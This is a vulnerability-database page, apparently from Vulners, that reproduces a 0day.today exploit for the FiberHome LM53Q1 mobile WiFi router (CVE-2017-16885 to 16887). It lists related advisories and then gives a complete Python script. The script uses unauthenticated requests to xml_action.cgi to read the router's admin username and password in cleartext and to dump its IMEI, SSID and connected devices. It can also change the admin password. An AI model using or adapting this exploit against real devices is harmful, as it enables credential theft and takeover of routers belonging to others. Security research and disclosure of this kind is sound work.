Lucene search
K

FiberHome LM53Q1 - Multiple Vulnerabilities

🗓️ 08 Jan 2018 00:00:00Reported by Ibad ShahType 
zdt
 zdt
🔗 0day.today👁 66 Views

FiberHome LM53Q1 Multiple Vulnerabilities, Exploit Title, Vendor, Version, Platform, CVE, Greetz, Gateway IP Address, Device Statistics, User Account Detail

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vyatta 5600 vRouter Software Patches - Release 1801-za
25 Jul 201915:25
ibm
CNVD
FiberHome LM53Q1 Information Disclosure Vulnerability
11 Jan 201800:00
cnvd
CNVD
FiberHome Mobile WIFI Device LM53Q1 Change Administrator Password Vulnerability
11 Jan 201800:00
cnvd
CNVD
FiberHome Mobile WIFI Device LM53Q1 Information Disclosure Vulnerability
11 Jan 201800:00
cnvd
CVE
CVE-2017-16885
12 Jan 201817:00
cve
CVE
CVE-2017-16886
12 Jan 201817:00
cve
CVE
CVE-2017-16887
12 Jan 201817:00
cve
Cvelist
CVE-2017-16885
12 Jan 201817:00
cvelist
Cvelist
CVE-2017-16886
12 Jan 201817:00
cvelist
Cvelist
CVE-2017-16887
12 Jan 201817:00
cvelist
Rows per page
#!/usr/bin/python
 
# Exploit Title: FiberHome MIFI LM53Q1 Multiple Vulnerabilities
# Exploit Author: Ibad Shah
# Vendor Homepage: www.fiberhome.com
# Version: VH519R05C01S38
# Tested on: Linux
# Platform : Hardware
# CVE : CVE-2017-16885, CVE-2017-16886, CVE-2017-16887
# Greetz : Taimoor Zafar, Jawad Ahmed, Owais Mehtab, Aitezaz Mohsin, ZHC
 
import requests,sys,getopt,socket,struct
 
#Declaring IP as our global variable to probe for Gateway IP of Device
global ip
 
#Getting Gateway IP Address
def get_default_gateway_linux():
    with open("/proc/net/route") as fh:
        for line in fh:
            fields = line.strip().split()
            if fields[1] != '00000000' or not int(fields[3], 16) & 2:
                continue
            return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
    return;
 
 
ip = get_default_gateway_linux()
 
exploit_title =  "=============================================== \n FiberHome Remote Administrator Account Details \n================================================";
 
 
#Function to get Device Statistics 
def get_device_details():
 
    gateway = None
    hardware = None
    device_name = None
    devices_all = ''
    version = None
    gateway = None
    ssid = ''
    dns1 = None
    dns2 = None
 
 
    requestStatus = requests.get("http://192.168.8.1/xml_action.cgi?method=get&module=duster&file=status1")
    api_response = requestStatus.content.replace('\t','').split('\n')
    for results in api_response:
            if "<hardware_version>" in results:
                    hardware = results.replace('<hardware_version>','').replace('</hardware_version>','').replace(' ','').replace('\n','')
            if "<device_name>" in results:
                    device_name = results.replace('<device_name>','').replace('</device_name>','').replace(' ','').replace('\n','')
            if "<version_num>" in results:
                    version = results.replace('<version_num>','').replace('</version_num>','').replace(' ','').replace('\n','')
            if "<gateway>" in results:
                    gateway = results.replace('<gateway>','').replace('</gateway>','').replace(' ','').replace('\n','')
            if "<ssid>" in results:
                    ssid = results.replace('<ssid>','').replace('</ssid>','').replace('\n','')
            if "<dns1>" in results:
                    dns1 = results.replace('<dns1>','').replace('</dns1>','').replace(' ','').replace('\n','')
            if "<dns2>" in results:
                    dns2 = results.replace('<dns2>','').replace('</dns2>','').replace(' ','').replace('\n','')
            if "<IMEI>" in results:
                    imei = results.replace('<IMEI>','').replace('</IMEI>','').replace(' ','').replace('\n','')
                    print "\n=============================================="
 
                    print "\nHardware Version of Device : "+hardware+"\n"
                    print "\nName of Device : "+device_name+"\n"
                    print "\nSoftware Version of Device : "+version+"\n"
                    print "\nIMEI of Device! : "+imei+"\n"
                    print "\nWiFi SSID of Device : "+ssid+"\n"
                    print "\nGateway of Zong Device : "+gateway+"\n"
                    print "\nDNS Primary of Device : "+dns1+"\n"
                print "\nDNS Secondary of Device : "+dns2+"\n"
                    print "\n=============================================================================\n";
            if "<known_devices_list>" in results:
                    devices_all = results.replace('<known_devices_list>','').replace('</known_devices_list>','').replace('\n','')
                    print "\nConnected Devices to WIFI\n"
                    print devices_all
 
 
#Function for getting User Account Details to login to Portal
def get_user_account_details():
    request = requests.get("http://"+ip+"/xml_action.cgi?method=get&module=duster&file=admin")
    admin_details = request.content.replace('\t','').split('\n')
    for admin_login_response in admin_details:
            if "<router_username>" in admin_login_response:
                    username = admin_login_response.replace('<router_username>','').replace('</router_username>','')
            if "<router_password>" in admin_login_response:
                    password = admin_login_response.replace('<router_password>','').replace('</router_password>','')
                    print "\nUsername of Device Web Application :\n"+username+" "
                    print "Password of Device Web Application :\n"+password+"\n"
                    print "\n=============================================================================\n";
 
 
#Function to change Administrator Password 
 
def change_admin_password():
    set_password = raw_input("\nEnter Password to Change : ")
    password = str(set_password)
    xml = "<?xml version='1.0' encoding='UTF-8'?><RGW><management><router_password>"+password+"</router_password></management></RGW>"
    headers = {'Content-Type': 'application/xml'} 
    change_password_request = requests.post("http://"+ip+"/xml_action.cgi?method=set&module=duster&file=admin", data=xml, headers=headers).text
    print "Password Changed!"
 
 
def main():
 
    print exploit_title
    print "\nSelect Menu For Fetching Details \n \n 1. Get Portal Login & Password. \n 2. Get Other Details. \n 3. Change Admin Password for Device"
 
    get_option = raw_input("\n Enter Option :  ");
 
    option = int(get_option)
 
    if get_option == "1":
 
            get_user_account_details()
 
            raw_input("\n Press Any Key To Exit");
 
    elif get_option == "2":
 
            get_device_details()
 
            raw_input("\n Press Any Key To Exit");
 
    elif get_option == "3":
 
        change_admin_password()
 
    elif get_option == "":
 
        print "Good Bye!";
 
    else:
 
        print "Goodbye!";
 
main()

#  0day.today [2018-04-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation